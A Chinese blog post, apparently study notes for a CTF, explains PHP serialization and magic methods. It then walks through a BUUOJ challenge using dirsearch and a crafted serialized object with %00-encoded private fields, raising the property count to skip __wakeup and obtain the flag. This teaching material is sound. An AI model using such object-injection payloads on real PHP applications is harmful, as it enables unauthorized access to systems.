Day10反序列化

为了校赛要紧急突击下反序列化了,否则就不是我打CTF了,就成CTF打我了

定义

序列化是将对象转换为字符串以便存储和传输的一种方式。而反序列化就是序列化的逆过程,它会将字符串重新转换为对象供程序使用。简单的说,序列化就是对象–>字符串,反序列化就是字符串–>对象

函数

序列化和反序列化对应的分别是serialize()函数和unserialize()函数,反序列化本身并不危险,如果传参时反序列化的函数是用户可控的就会造成反序列化漏洞

组成

一般经过反序列化后的内容为:

O:4:“user”:2:{s:3:“age”;i:18;s:4:“name”;s:3:“Leo”;}
O:对象
4:user名称长度
2:两个变量
s:字符串
i:整型

魔术方法

PHP的magic方法以__开头,这些函数在某些情况下会自动调用,如果绕过了这些魔术方法,就造成了反序列化漏洞

__construct()         当一个对象创建时触发

 __destruct()          当一个对象被销毁时触发

 __toString()          把类当作字符串使用时触发

 __call()              在对象上下文中调用不可访问的方法时触发

 __callStatic()        在静态上下文中调用不可访问的方法时触发

 __get()               用于从不可访问的属性读取数据时

 __set()               用于将数据写入不可访问的属性

 __wakeup()            使用unserialize时触发

 __sleep()             使用serialize时触发

 __isset()             在不可访问的属性上调用isset()或empty()触发

 __unset()             在不可访问的属性上使用unset()时触发

 __invoke()            当脚本尝试将对象调用为函数时触发

 __autoload()          尝试加载未定义的类时触发

 __clone()             当对象复制完成时触发

了解每个函数是什么时候运行的才能更好的利用

<?php
 class A{
   public $test = "This is just a test";
   public function PrintTest()
   {
   echo $this->test.'<br/>';
   }
   public function __construct()
   {
   echo '__construct</br>';
   }
   public function __destruct()
   {
   echo '__destruct<br />';
   }
   public function __toString()
   {
   return '__toString<br />';
   }
 }

   $object = new A();
   $object->PrintTest();
   echo $object;
 ?>

运行结果:
在这里插入图片描述
刷题时正好遇到了一道反序列化的题目,然后…我当然是做不出来了(菜哭)

[极客大挑战 2019]PHP

图片: https://uploader.shimo.im/f/kBDEoyglIjon52Uk.png

根据提示,使用dirsearch扫描备份文件

python3 dirsearch.py -u "http://e4b57e61-b745-42aa-9c8b-6ab277e0cf5b.node3.buuoj.cn/" -e *

图片: https://uploader.shimo.im/f/6u1pIZ5mre4gVmDX.png

发现里面的文件
图片: https://uploader.shimo.im/f/7Bm6xayi73AguVv1.png

图片: https://uploader.shimo.im/f/QsslotfAgmR4JjY5.png

反序列化题目,先打开class.php文件

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

需要将password赋值为100,username赋值为admin

知识点

protected

protected声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0\0的前缀。这里的\0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。
但是因为php7.1+对类属性的检测不严格,可以直接用public来进行序列化

<?php
class Name{
	protected $username = 'nonono';
	protected $password = 'yesyes';
 
	public function __construct($username,$password){
		$this->username = $username;
		$this->password = $password;
	}
}
 
$a = new Name('admin',100);
$b=serialize($a);
echo $b;
//运行会输出 O:4:"Name":2:{s:11:" * username";s:5:"admin";s:11:" * password";i:100;}
?>
O:4:"Name":2:{s:11:"*username";s:5:"admin";s:11:"*password";i:100;}
private

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中\0 字符也是计算长度的。

<?php
class Name{
	private $username = 'nonono';
	private $password = 'yesyes';
 
	public function __construct($username,$password){
		$this->username = $username;
		$this->password = $password;
	}
}
 
$a = new Name('admin',100);
$b=serialize($a);
echo $b;
//O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
?>
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
public
<?php
class Name{
	public $username = 'nonono';
	public $password = 'yesyes';
 
	public function __construct($username,$password){
		$this->username = $username;
		$this->password = $password;
	}
}
 
$a = new Name('admin',100);
$b=serialize($a);
echo $b;
//O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";i:100;}
?>
O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";i:100;}

这里使用_wakeup函数进行绕过

作用:与__sleep()函数相反,__sleep()函数,是在序序列化时被自动调用。__wakeup()函数,在反序列化时,被自动调用。绕过:当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过__wakeup 函数的执行

exp脚本:

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
$b = serialize($a);
echo $b; 
?>

图片: https://uploader.shimo.im/f/jXl6eMajvh96Q7xX.png

因为是private修饰的,所以需要用%00替代空格

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

把2改成3就可以绕过_wakeup函数,知识点为:
当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
即可得到flag

参考链接:
https://blog.csdn.net/wanzt123/article/details/78430626?
https://www.bilibili.com/video/BV1oE411j7aF
https://blog.csdn.net/weixin_43900387/article/details/104403154

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值